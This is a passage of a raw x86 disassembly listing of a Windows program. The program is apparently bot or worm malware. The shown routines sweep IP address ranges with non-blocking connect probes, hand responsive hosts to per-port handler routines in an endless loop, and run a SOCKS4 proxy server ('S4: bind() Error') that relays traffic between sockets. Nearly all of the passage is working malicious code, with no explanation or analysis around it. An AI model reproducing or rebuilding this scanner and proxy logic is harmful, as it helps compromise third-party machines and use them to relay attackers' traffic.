		xor	edx, ecx
		or	eax, ecx
		test	edx, 8031Fh
		jz	short loc_413B52
		or	eax, 80000000h

loc_413B52:				; CODE XREF: sub_413857+16Fj
					; sub_413857+2F4j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 10h
		retn
sub_413857	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413B5A	proc near		; CODE XREF: sub_41279D+326p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, dword_423064
		xor	eax, ebp
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	ebx
		push	esi
		xor	esi, esi
		cmp	[ebp+arg_4], esi
		push	edi
		mov	[ebp+var_18], 404Eh
		mov	[eax], esi
		mov	[eax+4], esi
		mov	[eax+8], esi
		jbe	loc_413CD0

loc_413B8A:				; CODE XREF: sub_413B5A+146j
		mov	edx, [eax]
		mov	ebx, [eax+4]
		mov	esi, eax
		lea	edi, [ebp+var_10]
		movsd
		movsd
		movsd
		mov	ecx, edx
		shr	ecx, 1Fh
		lea	edi, [edx+edx]
		lea	edx, [ebx+ebx]
		or	edx, ecx
		mov	ecx, [eax+8]
		mov	esi, ebx
		shr	esi, 1Fh
		add	ecx, ecx
		or	ecx, esi
		mov	[ebp+var_14], edi
		mov	esi, edi
		and	[ebp+var_14], 0
		mov	ebx, edx
		shr	ebx, 1Fh
		add	ecx, ecx
		shr	edi, 1Fh
		or	ecx, ebx
		mov	ebx, [ebp+var_10]
		add	esi, esi
		add	edx, edx
		or	edx, edi
		lea	edi, [esi+ebx]
		cmp	edi, esi
		mov	[eax], esi
		mov	[eax+4], edx
		mov	[eax+8], ecx
		jb	short loc_413BE1
		cmp	edi, ebx
		jnb	short loc_413BE8

loc_413BE1:				; CODE XREF: sub_413B5A+81j
		mov	[ebp+var_14], 1

loc_413BE8:				; CODE XREF: sub_413B5A+85j
		xor	ebx, ebx
		cmp	[ebp+var_14], ebx
		mov	[eax], edi
		jz	short loc_413C0B
		lea	esi, [edx+1]
		cmp	esi, edx
		jb	short loc_413BFD
		cmp	esi, 1
		jnb	short loc_413C00

loc_413BFD:				; CODE XREF: sub_413B5A+9Cj
		xor	ebx, ebx
		inc	ebx

loc_413C00:				; CODE XREF: sub_413B5A+A1j
		test	ebx, ebx
		mov	[eax+4], esi
		jz	short loc_413C0B
		inc	ecx
		mov	[eax+8], ecx

loc_413C0B:				; CODE XREF: sub_413B5A+95j
					; sub_413B5A+ABj
		mov	ecx, [eax+4]
		mov	edx, [ebp+var_C]
		lea	ebx, [ecx+edx]
		xor	esi, esi
		cmp	ebx, ecx
		jb	short loc_413C1E
		cmp	ebx, edx
		jnb	short loc_413C21

loc_413C1E:				; CODE XREF: sub_413B5A+BEj
		xor	esi, esi
		inc	esi

loc_413C21:				; CODE XREF: sub_413B5A+C2j
		test	esi, esi
		mov	[eax+4], ebx
		jz	short loc_413C2B
		inc	dword ptr [eax+8]

loc_413C2B:				; CODE XREF: sub_413B5A+CCj
		mov	ecx, [ebp+var_8]
		add	[eax+8], ecx
		and	[ebp+var_14], 0
		lea	ecx, [edi+edi]
		mov	edx, edi
		shr	edx, 1Fh
		lea	edi, [ebx+ebx]
		or	edi, edx
		mov	edx, [eax+8]
		mov	esi, ebx
		shr	esi, 1Fh
		lea	ebx, [edx+edx]
		mov	edx, [ebp+arg_0]
		or	ebx, esi
		mov	[eax], ecx
		mov	[eax+4], edi
		mov	[eax+8], ebx
		movsx	edx, byte ptr [edx]
		lea	esi, [ecx+edx]
		cmp	esi, ecx
		mov	[ebp+var_10], edx
		jb	short loc_413C6B
		cmp	esi, edx
		jnb	short loc_413C72

loc_413C6B:				; CODE XREF: sub_413B5A+10Bj
		mov	[ebp+var_14], 1

loc_413C72:				; CODE XREF: sub_413B5A+10Fj
		cmp	[ebp+var_14], 0
		mov	[eax], esi
		jz	short loc_413C96
		lea	ecx, [edi+1]
		xor	edx, edx
		cmp	ecx, edi
		jb	short loc_413C88
		cmp	ecx, 1
		jnb	short loc_413C8B

loc_413C88:				; CODE XREF: sub_413B5A+127j
		xor	edx, edx
		inc	edx

loc_413C8B:				; CODE XREF: sub_413B5A+12Cj
		test	edx, edx
		mov	[eax+4], ecx
		jz	short loc_413C96
		inc	ebx
		mov	[eax+8], ebx

loc_413C96:				; CODE XREF: sub_413B5A+11Ej
					; sub_413B5A+136j
		dec	[ebp+arg_4]
		inc	[ebp+arg_0]
		cmp	[ebp+arg_4], 0
		ja	loc_413B8A
		xor	esi, esi
		jmp	short loc_413CD0
; ---------------------------------------------------------------------------

loc_413CAA:				; CODE XREF: sub_413B5A+179j
		mov	ecx, [eax+4]
		mov	edx, ecx
		shr	edx, 10h
		mov	[eax+8], edx
		mov	edx, [eax]
		mov	edi, edx
		shl	ecx, 10h
		shr	edi, 10h
		or	ecx, edi
		shl	edx, 10h
		add	[ebp+var_18], 0FFF0h
		mov	[eax+4], ecx
		mov	[eax], edx

loc_413CD0:				; CODE XREF: sub_413B5A+2Aj
					; sub_413B5A+14Ej
		cmp	[eax+8], esi
		jz	short loc_413CAA
		mov	ebx, 8000h
		test	[eax+8], ebx
		jnz	short loc_413D0F

loc_413CDF:				; CODE XREF: sub_413B5A+1B3j
		mov	esi, [eax]
		mov	edi, [eax+4]
		add	[ebp+var_18], 0FFFFh
		mov	ecx, esi
		add	esi, esi
		shr	ecx, 1Fh
		mov	[eax], esi
		lea	esi, [edi+edi]
		or	esi, ecx
		mov	ecx, [eax+8]
		mov	edx, edi
		shr	edx, 1Fh
		add	ecx, ecx
		or	ecx, edx
		test	ecx, ebx
		mov	[eax+4], esi
		mov	[eax+8], ecx
		jz	short loc_413CDF

loc_413D0F:				; CODE XREF: sub_413B5A+183j
		mov	cx, word ptr [ebp+var_18]
		mov	[eax+0Ah], cx
		mov	ecx, [ebp+var_4]
		pop	edi
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_402AD0
		leave
		retn
sub_413B5A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_413D26	proc near		; CODE XREF: sub_4045EC+24p
					; sub_408A9A+10p ...
		jmp	ds:off_41D1B0
sub_413D26	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413D2C	proc near		; CODE XREF: sub_413DDD+14Bp
					; sub_413DDD+271p ...

var_128		= dword	ptr -128h
var_124		= dword	ptr -124h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 128h
		mov	eax, dword_423064
		xor	eax, ebp
		mov	[ebp+var_4], eax
		push	esi
		push	edi
		xor	edi, edi
		push	6
		inc	edi
		push	edi
		push	2
		mov	[ebp+var_18], edi
		call	ds:dword_41D220	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_413D5D
		xor	al, al
		jmp	short loc_413DCF
; ---------------------------------------------------------------------------

loc_413D5D:				; CODE XREF: sub_413D2C+2Bj
		push	[ebp+arg_4]
		call	ds:dword_41D270	; htons
		mov	[ebp+var_12], ax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_18]
		push	eax
		push	8004667Eh
		push	esi
		mov	[ebp+var_14], 2
		call	ds:dword_41D268	; ioctlsocket
		and	[ebp+var_1C], 0
		push	10h
		lea	eax, [ebp+var_14]
		push	eax
		push	esi
		mov	[ebp+var_20], 5
		mov	[ebp+var_124], esi
		mov	[ebp+var_128], edi
		call	ds:dword_41D23C	; connect
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		lea	eax, [ebp+var_128]
		push	eax
		push	0
		push	0
		call	ds:dword_41D254	; select
		push	esi
		mov	edi, eax
		call	ds:dword_41D280	; closesocket
		test	edi, edi
		setnle	al

loc_413DCF:				; CODE XREF: sub_413D2C+2Fj
		mov	ecx, [ebp+var_4]
		pop	edi
		xor	ecx, ebp
		pop	esi
		call	sub_402AD0
		leave
		retn
sub_413D2C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_413DDD	proc near		; DATA XREF: sub_4022D6+4E3o

var_25C		= dword	ptr -25Ch
var_258		= dword	ptr -258h
var_254		= dword	ptr -254h
var_250		= dword	ptr -250h
var_24C		= dword	ptr -24Ch
var_248		= dword	ptr -248h
var_244		= dword	ptr -244h
var_240		= byte ptr -240h
var_140		= dword	ptr -140h
var_13C		= dword	ptr -13Ch
var_138		= dword	ptr -138h
var_134		= byte ptr -134h
var_133		= byte ptr -133h
var_130		= byte ptr -130h
var_30		= byte ptr -30h
var_20		= byte ptr -20h
var_1E		= byte ptr -1Eh
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		and	esp, 0FFFFFFF8h
		sub	esp, 25Ch
		mov	eax, dword_423064
		xor	eax, esp
		mov	[esp+25Ch+var_4], eax
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		push	49h
		pop	ecx
		lea	edi, [esp+268h+var_130]
		rep movsd

loc_413E09:				; CODE XREF: sub_413DDD+544j
					; sub_413DDD+555j
		lea	eax, [esp+268h+var_250]
		push	eax
		lea	eax, [esp+26Ch+var_254]
		push	eax
		lea	eax, [esp+270h+var_258]
		push	eax
		lea	eax, [esp+274h+var_25C]
		push	eax
		or	edi, 0FFFFFFFFh
		lea	eax, [esp+278h+var_30]
		push	offset dword_41EF0C
		push	eax
		mov	[esp+280h+var_25C], edi
		mov	[esp+280h+var_258], edi
		mov	[esp+280h+var_254], edi
		mov	[esp+280h+var_250], edi
		call	sub_4039A4
		add	esp, 18h
		cmp	[esp+268h+var_1E], 0
		jz	short loc_413E97
		cmp	[esp+268h+var_25C], edi
		mov	esi, 0FEh
		jnz	short loc_413E67
		mov	eax, esi
		xor	ebx, ebx
		call	sub_419AB7
		mov	[esp+268h+var_25C], eax

loc_413E67:				; CODE XREF: sub_413DDD+7Bj
		cmp	[esp+268h+var_258], edi
		jnz	short loc_413E7A
		mov	eax, esi
		xor	ebx, ebx
		call	sub_419AB7
		mov	[esp+268h+var_258], eax

loc_413E7A:				; CODE XREF: sub_413DDD+8Ej
		cmp	[esp+268h+var_254], edi
		jnz	short loc_413E8D
		mov	eax, esi
		xor	ebx, ebx
		call	sub_419AB7
		mov	[esp+268h+var_254], eax

loc_413E8D:				; CODE XREF: sub_413DDD+A1j
		mov	eax, [esp+268h+var_250]
		cmp	eax, edi
		jnz	short loc_413EE9
		jmp	short loc_413EC2
; ---------------------------------------------------------------------------

loc_413E97:				; CODE XREF: sub_413DDD+70j
		mov	eax, [esp+268h+var_18]
		sub	eax, 0
		jz	short loc_413ED1
		dec	eax
		jz	short loc_413EB0
		dec	eax
		jnz	short loc_413EE5
		mov	eax, 0FEh
		jmp	short loc_413EC4
; ---------------------------------------------------------------------------

loc_413EB0:				; CODE XREF: sub_413DDD+C7j
		mov	esi, 0FEh

loc_413EB5:				; CODE XREF: sub_413DDD+106j
		mov	eax, esi
		xor	ebx, ebx
		call	sub_419AB7
		mov	[esp+268h+var_254], eax

loc_413EC2:				; CODE XREF: sub_413DDD+B8j
		mov	eax, esi

loc_413EC4:				; CODE XREF: sub_413DDD+D1j
		xor	ebx, ebx
		call	sub_419AB7
		mov	[esp+268h+var_250], eax
		jmp	short loc_413EE9
; ---------------------------------------------------------------------------

loc_413ED1:				; CODE XREF: sub_413DDD+C4j
		mov	esi, 0FEh
		mov	eax, esi
		xor	ebx, ebx
		call	sub_419AB7
		mov	[esp+268h+var_258], eax
		jmp	short loc_413EB5
; ---------------------------------------------------------------------------

loc_413EE5:				; CODE XREF: sub_413DDD+CAj
		mov	eax, [esp+268h+var_250]

loc_413EE9:				; CODE XREF: sub_413DDD+B6j
					; sub_413DDD+F2j
		shl	eax, 8
		add	eax, [esp+268h+var_254]
		shl	eax, 8
		add	eax, [esp+268h+var_258]
		shl	eax, 8
		add	eax, [esp+268h+var_25C]
		mov	[esp+268h+var_14], eax
		mov	eax, [esp+268h+var_1C]
		cmp	eax, edi
		jnz	loc_414128
		xor	ebx, ebx
		mov	[esp+268h+var_248], ebx
		mov	eax, offset dword_424548

loc_413F1F:				; CODE XREF: sub_413DDD+169j
		push	dword ptr [eax]
		push	[esp+26Ch+var_14]
		call	sub_413D2C
		test	al, al
		pop	ecx
		pop	ecx
		jnz	short loc_413F4D
		inc	ebx
		mov	eax, ebx
		imul	eax, 2Ch
		lea	eax, dword_424548[eax]
		cmp	dword ptr [eax], 0
		mov	[esp+268h+var_248], ebx
		jnz	short loc_413F1F
		jmp	loc_414312
; ---------------------------------------------------------------------------

loc_413F4D:				; CODE XREF: sub_413DDD+154j
		push	110h
		lea	eax, [esp+26Ch+var_240]
		push	0
		push	eax
		call	sub_407F20
		add	esp, 0Ch
		lea	eax, [esp+268h+var_130]
		push	eax
		push	offset byte_41EF18
		lea	eax, [esp+270h+var_240]
		push	0FFh
		push	eax
		call	sub_402EAE
		lea	eax, [esp+278h+var_240]
		add	esp, 10h
		lea	esi, [eax+1]

loc_413F87:				; CODE XREF: sub_413DDD+1AFj
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_413F87
		sub	eax, esi
		mov	[esp+eax+268h+var_240],	cl
		mov	eax, [esp+268h+var_14]
		mov	[esp+268h+var_140], ebx
		imul	ebx, 2Ch
		mov	[esp+268h+var_13C], eax
		mov	eax, dword_424548[ebx]
		mov	[esp+268h+var_138], eax
		mov	al, [esp+268h+var_20]
		sub	esp, 110h
		mov	[esp+378h+var_134], al
		mov	al, [esp+378h+var_1E]
		push	44h
		pop	ecx
		mov	[esp+378h+var_133], al
		lea	esi, [esp+378h+var_240]
		mov	edi, esp
		rep movsd
		call	off_424550[ebx]
		mov	esi, [esp+378h+var_250]
		shl	esi, 8
		add	esi, [esp+378h+var_254]
		add	esp, 110h
		shl	esi, 8
		add	esi, [esp+268h+var_258]
		mov	[esp+268h+var_24C], 100h
		shl	esi, 8
		add	esi, [esp+268h+var_25C]
		mov	[esp+268h+var_244], esi

loc_414020:				; CODE XREF: sub_413DDD+340j
		mov	eax, [esp+268h+var_24C]
		mov	ecx, [esp+268h+var_254]
		add	eax, ecx
		shl	eax, 8
		add	eax, [esp+268h+var_258]
		shl	eax, 8
		add	eax, [esp+268h+var_25C]
		cmp	eax, esi
		mov	[esp+268h+var_14], eax
		jz	loc_41410D
		push	dword_424548[ebx]
		push	eax
		call	sub_413D2C
		test	al, al
		pop	ecx
		pop	ecx
		jz	loc_41410D
		push	110h
		lea	eax, [esp+26Ch+var_240]
		push	0
		push	eax
		call	sub_407F20
		add	esp, 0Ch
		lea	eax, [esp+268h+var_130]
		push	eax
		push	offset byte_41EF1C
		lea	eax, [esp+270h+var_240]
		push	0FFh
		push	eax
		call	sub_402EAE
		lea	eax, [esp+278h+var_240]
		add	esp, 10h
		lea	esi, [eax+1]

loc_414097:				; CODE XREF: sub_413DDD+2BFj
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_414097
		sub	eax, esi
		mov	[esp+eax+268h+var_240],	cl
		mov	eax, [esp+268h+var_14]
		mov	[esp+268h+var_13C], eax
		mov	eax, [esp+268h+var_248]
		mov	[esp+268h+var_140], eax
		mov	eax, dword_424548[ebx]
		mov	[esp+268h+var_138], eax
		mov	al, [esp+268h+var_20]
		sub	esp, 110h
		mov	[esp+378h+var_134], al
		mov	al, [esp+378h+var_1E]
		push	44h
		pop	ecx
		mov	[esp+378h+var_133], al
		lea	esi, [esp+378h+var_240]
		mov	edi, esp
		rep movsd
		call	off_424550[ebx]
		mov	esi, [esp+378h+var_244]
		add	esp, 110h

loc_41410D:				; CODE XREF: sub_413DDD+264j
					; sub_413DDD+27Aj
		add	[esp+268h+var_24C], 100h
		cmp	[esp+268h+var_24C], 0FE00h
		jle	loc_414020
		jmp	loc_41430D
; ---------------------------------------------------------------------------

loc_414128:				; CODE XREF: sub_413DDD+131j
		imul	eax, 2Ch
		push	dword_424548[eax]
		push	[esp+26Ch+var_14]
		call	sub_413D2C
		test	al, al
		pop	ecx
		pop	ecx
		jz	loc_414312
		push	110h
		lea	eax, [esp+26Ch+var_240]
		push	0
		push	eax
		call	sub_407F20
		add	esp, 0Ch
		lea	eax, [esp+268h+var_130]
		push	eax
		push	offset dword_41EF20
		lea	eax, [esp+270h+var_240]
		push	0FFh
		push	eax
		call	sub_402EAE
		lea	eax, [esp+278h+var_240]
		add	esp, 10h
		lea	ecx, [eax+1]

loc_414181:				; CODE XREF: sub_413DDD+3A9j
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_414181
		sub	eax, ecx
		mov	[esp+eax+268h+var_240],	dl
		mov	eax, [esp+268h+var_14]
		mov	[esp+268h+var_13C], eax
		mov	eax, [esp+268h+var_1C]
		mov	[esp+268h+var_140], eax
		imul	eax, 2Ch
		mov	ecx, dword_424548[eax]
		mov	[esp+268h+var_138], ecx
		mov	cl, [esp+268h+var_20]
		sub	esp, 110h
		mov	[esp+378h+var_134], cl
		push	44h
		pop	ecx
		lea	esi, [esp+378h+var_240]
		mov	edi, esp
		rep movsd
		call	off_424550[eax]
		mov	ebx, [esp+378h+var_250]
		shl	ebx, 8
		add	ebx, [esp+378h+var_254]
		add	esp, 110h
		shl	ebx, 8
		add	ebx, [esp+268h+var_258]
		mov	[esp+268h+var_24C], 100h
		shl	ebx, 8
		add	ebx, [esp+268h+var_25C]

loc_41420F:				; CODE XREF: sub_413DDD+52Aj
		mov	eax, [esp+268h+var_24C]
		mov	ecx, [esp+268h+var_254]
		add	eax, ecx
		shl	eax, 8
		add	eax, [esp+268h+var_258]
		shl	eax, 8
		add	eax, [esp+268h+var_25C]
		cmp	eax, ebx
		mov	[esp+268h+var_14], eax
		jz	loc_4142F7
		mov	ecx, [esp+268h+var_1C]
		imul	ecx, 2Ch
		push	dword_424548[ecx]
		push	eax
		call	sub_413D2C
		test	al, al
		pop	ecx
		pop	ecx
		jz	loc_4142F7
		push	110h
		lea	eax, [esp+26Ch+var_240]
		push	0
		push	eax
		call	sub_407F20
		add	esp, 0Ch
		lea	eax, [esp+268h+var_130]
		push	eax
		push	offset byte_41EF24
		lea	eax, [esp+270h+var_240]
		push	0FFh
		push	eax
		call	sub_402EAE
		lea	eax, [esp+278h+var_240]
		add	esp, 10h
		lea	esi, [eax+1]

loc_414290:				; CODE XREF: sub_413DDD+4B8j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_414290
		sub	eax, esi
		mov	[esp+eax+268h+var_240],	cl
		mov	eax, [esp+268h+var_14]
		mov	[esp+268h+var_13C], eax
		mov	eax, [esp+268h+var_1C]
		mov	[esp+268h+var_140], eax
		imul	eax, 2Ch
		mov	ecx, dword_424548[eax]
		mov	[esp+268h+var_138], ecx
		mov	cl, [esp+268h+var_20]
		sub	esp, 110h
		mov	[esp+378h+var_134], cl
		push	44h
		pop	ecx
		lea	esi, [esp+378h+var_240]
		mov	edi, esp
		rep movsd
		call	off_424550[eax]
		add	esp, 110h

loc_4142F7:				; CODE XREF: sub_413DDD+453j
					; sub_413DDD+473j
		add	[esp+268h+var_24C], 100h
		cmp	[esp+268h+var_24C], 0FE00h
		jle	loc_41420F

loc_41430D:				; CODE XREF: sub_413DDD+346j
		call	sub_419AEB

loc_414312:				; CODE XREF: sub_413DDD+16Bj
					; sub_413DDD+364j
		push	64h
		call	ds:off_41D0F8
		cmp	byte_428400, 0
		jnz	loc_413E09
		push	2710h
		call	ds:off_41D0F8
		jmp	loc_413E09
sub_413DDD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414337	proc near		; CODE XREF: sub_414446+144p

var_508		= dword	ptr -508h
var_504		= dword	ptr -504h
var_500		= dword	ptr -500h
var_404		= byte ptr -404h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 508h
		mov	eax, dword_423064
		xor	eax, ebp
		mov	[ebp+var_4], eax
		push	ebx
		mov	ebx, ds:dword_41D26C
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, 400h

loc_41435A:				; CODE XREF: sub_414337+CCj
					; sub_414337+FAj
		mov	eax, [ebp+arg_4]
		xor	ecx, ecx
		inc	ecx
		mov	[ebp+var_504], eax
		mov	[ebp+var_508], ecx
		xor	eax, eax

loc_41436E:				; CODE XREF: sub_414337+46j
		mov	edx, [ebp+arg_0]
		cmp	[ebp+eax*4+var_504], edx
		jz	short loc_41437F
		inc	eax
		cmp	eax, ecx
		jb	short loc_41436E

loc_41437F:				; CODE XREF: sub_414337+41j
		cmp	eax, ecx
		jnz	short loc_414393
		mov	[ebp+var_500], edx
		mov	[ebp+var_508], 2

loc_414393:				; CODE XREF: sub_414337+4Aj
		push	esi
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		call	sub_407F20
		add	esp, 0Ch
		push	edi
		push	edi
		push	edi
		lea	eax, [ebp+var_508]
		push	eax
		push	edi
		call	ds:dword_41D254	; select
		lea	eax, [ebp+var_508]
		push	eax
		push	[ebp+arg_4]
		call	sub_4029FC	; __WSAFDIsSet
		test	eax, eax
		jz	short loc_4143F2
		push	edi
		push	esi
		lea	eax, [ebp+var_404]
		push	eax
		push	[ebp+arg_4]
		call	ebx	; recv
		cmp	eax, 0FFFFFFFFh
		jz	short loc_414437
		push	edi
		push	eax
		lea	eax, [ebp+var_404]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_41D228	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_414437

loc_4143F2:				; CODE XREF: sub_414337+8Fj
		lea	eax, [ebp+var_508]
		push	eax
		push	[ebp+arg_0]
		call	sub_4029FC	; __WSAFDIsSet
		test	eax, eax
		jz	loc_41435A
		push	edi
		push	esi
		lea	eax, [ebp+var_404]
		push	eax
		push	[ebp+arg_0]
		call	ebx	; recv
		cmp	eax, 0FFFFFFFFh
		jz	short loc_414437
		push	edi
		push	eax
		lea	eax, [ebp+var_404]
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_41D228	; send
		cmp	eax, 0FFFFFFFFh
		jnz	loc_41435A

loc_414437:				; CODE XREF: sub_414337+A2j
					; sub_414337+B9j ...
		mov	ecx, [ebp+var_4]
		pop	edi
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_402AD0
		leave
		retn
sub_414337	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414446	proc near		; DATA XREF: sub_4145BE+189o

var_530		= dword	ptr -530h
var_52C		= dword	ptr -52Ch
var_528		= dword	ptr -528h
var_524		= dword	ptr -524h
var_420		= word ptr -420h
var_41E		= word ptr -41Eh
var_41C		= dword	ptr -41Ch
var_414		= byte ptr -414h
var_410		= byte ptr -410h
var_40F		= byte ptr -40Fh
var_40E		= word ptr -40Eh
var_40C		= dword	ptr -40Ch
var_404		= byte ptr -404h
var_403		= byte ptr -403h
var_3FC		= byte ptr -3FCh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		and	esp, 0FFFFFFF8h
		sub	esp, 534h
		mov	eax, dword_423064
		xor	eax, esp
		mov	[esp+534h+var_4], eax
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		xor	ebx, ebx
		lea	eax, [esp+540h+var_530]
		push	eax
		push	ebx
		push	ebx
		lea	eax, [esp+54Ch+var_528]
		push	eax
		push	ebx
		mov	[esp+554h+var_530], 14h
		mov	[esp+554h+var_52C], ebx
		mov	[esp+554h+var_524], esi
		mov	[esp+554h+var_528], 1
		call	ds:dword_41D254	; select
		test	eax, eax
		jz	loc_414591
		push	ebx
		push	408h
		lea	eax, [esp+548h+var_410]
		push	eax
		push	esi
		call	ds:dword_41D26C	; recv
		test	eax, eax
		jle	loc_414591
		cmp	[esp+540h+var_410], 4
		jnz	loc_414591
		cmp	[esp+540h+var_40F], 1
		jnz	loc_414591
		xor	eax, eax
		lea	edi, [esp+540h+var_420]
		stosd
		stosd
		stosd
		stosd
		mov	ax, [esp+540h+var_40E]
		push	6
		mov	[esp+544h+var_41E], ax
		mov	eax, [esp+544h+var_40C]
		push	1
		push	2
		mov	[esp+54Ch+var_420], 2
		mov	[esp+54Ch+var_41C], eax
		call	ds:dword_41D220	; socket
		mov	edi, eax
		push	10h
		lea	eax, [esp+538h+var_414]
		push	eax
		push	edi
		call	ds:dword_41D23C	; connect
		push	400h
		cmp	eax, 0FFFFFFFFh
		push	ebx
		lea	eax, [esp+53Ch+var_3FC]
		mov	[esp+53Ch+var_404], bl
		push	eax
		jnz	short loc_414566
		mov	[esp+540h+var_403], 5Bh
		call	sub_407F20
		add	esp, 0Ch
		push	ebx
		push	8
		lea	eax, [esp+53Ch+var_404]
		push	eax
		push	esi
		call	ds:dword_41D228	; send
		jmp	short loc_414591
; ---------------------------------------------------------------------------

loc_414566:				; CODE XREF: sub_414446+FAj
		mov	[esp+540h+var_403], 5Ah
		call	sub_407F20
		add	esp, 0Ch
		push	ebx
		push	8
		lea	eax, [esp+53Ch+var_404]
		push	eax
		push	esi
		call	ds:dword_41D228	; send
		push	esi
		push	edi
		call	sub_414337
		pop	ecx
		pop	ecx

loc_414591:				; CODE XREF: sub_414446+4Fj
					; sub_414446+6Cj ...
		push	esi
		call	ds:dword_41D280	; closesocket
		call	ds:dword_41D0DC	; GetCurrentThreadId
		push	eax
		call	sub_41481B
		pop	ecx
		mov	ecx, [esp+540h+var_4]
		pop	edi
		pop	esi
		pop	ebx
		xor	ecx, esp
		xor	eax, eax
		call	sub_402AD0
		mov	esp, ebp
		pop	ebp
		retn	4
sub_414446	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4145BE	proc near		; DATA XREF: sub_401E4A+139o

var_130		= byte ptr -130h
var_24		= byte ptr -24h
var_23		= byte ptr -23h
var_14		= dword	ptr -14h
var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_10		= byte ptr  18h
arg_20		= byte ptr  28h
arg_120		= dword	ptr  128h
arg_12C		= byte ptr  134h
arg_13C		= dword	ptr  144h
arg_144		= dword	ptr  14Ch
arg_14C		= dword	ptr  154h

		push	ebp
		mov	ebp, esp
		and	esp, 0FFFFFFF8h
		push	0FFFFFFFFh
		push	offset loc_41C991
		mov	eax, large fs:0
		push	eax
		sub	esp, 14Ch
		mov	eax, dword_423064
		xor	eax, esp
		mov	[esp+158h+var_14], eax
		push	esi
		push	edi
		mov	eax, dword_423064
		xor	eax, esp
		push	eax
		lea	eax, [esp+164h+var_C]
		mov	large fs:0, eax
		mov	esi, [ebp+arg_0]
		mov	[esp+164h+var_24], 0
		xor	eax, eax
		lea	edi, [esp+164h+var_23]
		stosd
		stosd
		stosd
		push	41h
		pop	ecx
		stosw
		push	6
		stosb
		push	1
		lea	edi, [esp+16Ch+var_130]
		push	2
		rep movsd
		call	ds:dword_41D220	; socket
		push	[esp+0Ch+arg_120]
		mov	dword_428528, eax
		mov	word ptr [esp+10h+arg_0], 2
		call	ds:dword_41D270	; htons
		and	[esp+0Ch+arg_4], 0
		mov	word ptr [esp+0Ch+arg_0+2], ax
		push	10h
		lea	eax, [esp+10h+arg_0]
		push	eax
		push	dword_428528
		call	ds:dword_41D27C	; bind
		test	eax, eax
		jge	short loc_41466D
		push	offset aS4BindError ; "S4: bind() Error"
		jmp	short loc_414684
; ---------------------------------------------------------------------------

loc_41466D:				; CODE XREF: sub_4145BE+A6j
		push	0Ah
		push	dword_428528
		call	ds:dword_41D230	; listen
		test	eax, eax
		jge	short loc_4146D1
		push	offset aS4ListenError ;	"S4: listen() Error"

loc_414684:				; CODE XREF: sub_4145BE+ADj
		lea	eax, [esp+10h+arg_20]
		push	eax
		push	[esp+14h+arg_120+2]
		push	offset dword_4283FC
		call	sub_417B51
		add	esp, 10h
		call	ds:dword_41D0DC	; GetCurrentThreadId
		push	eax
		call	sub_41481B
		pop	ecx
		xor	eax, eax
		mov	ecx, [esp+0Ch+arg_144]
		mov	large fs:0, ecx
		pop	ecx
		pop	edi
		pop	esi
		mov	ecx, [esp+arg_13C]
		xor	ecx, esp
		call	sub_402AD0
		mov	esp, ebp
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------

loc_4146D1:				; CODE XREF: sub_4145BE+BFj
		push	dword_4283FC
		lea	esi, [esp+10h+arg_12C]
		call	sub_4197B6
		movsx	eax, word ptr [esp+10h+arg_120]
		pop	ecx
		push	eax
		mov	eax, esi
		push	eax
		push	offset aS4SI	; "S4: %s:%i"
		lea	eax, [esp+18h+arg_20]
		push	eax
		push	[esp+1Ch+arg_120+2]
		push	offset dword_4283FC
		call	sub_417B51
		add	esp, 18h
		xor	eax, eax
		mov	edi, esi
		stosd
		stosd
		stosd
		stosd

loc_414716:				; CODE XREF: sub_4145BE+1A0j
		push	0
		lea	eax, [esp+10h+arg_10]
		push	eax
		push	dword_428528
		call	ds:dword_41D234	; accept
		push	8
		mov	edi, eax
		call	sub_40340B
		mov	esi, eax
		pop	ecx
		mov	[esp+10h], esi
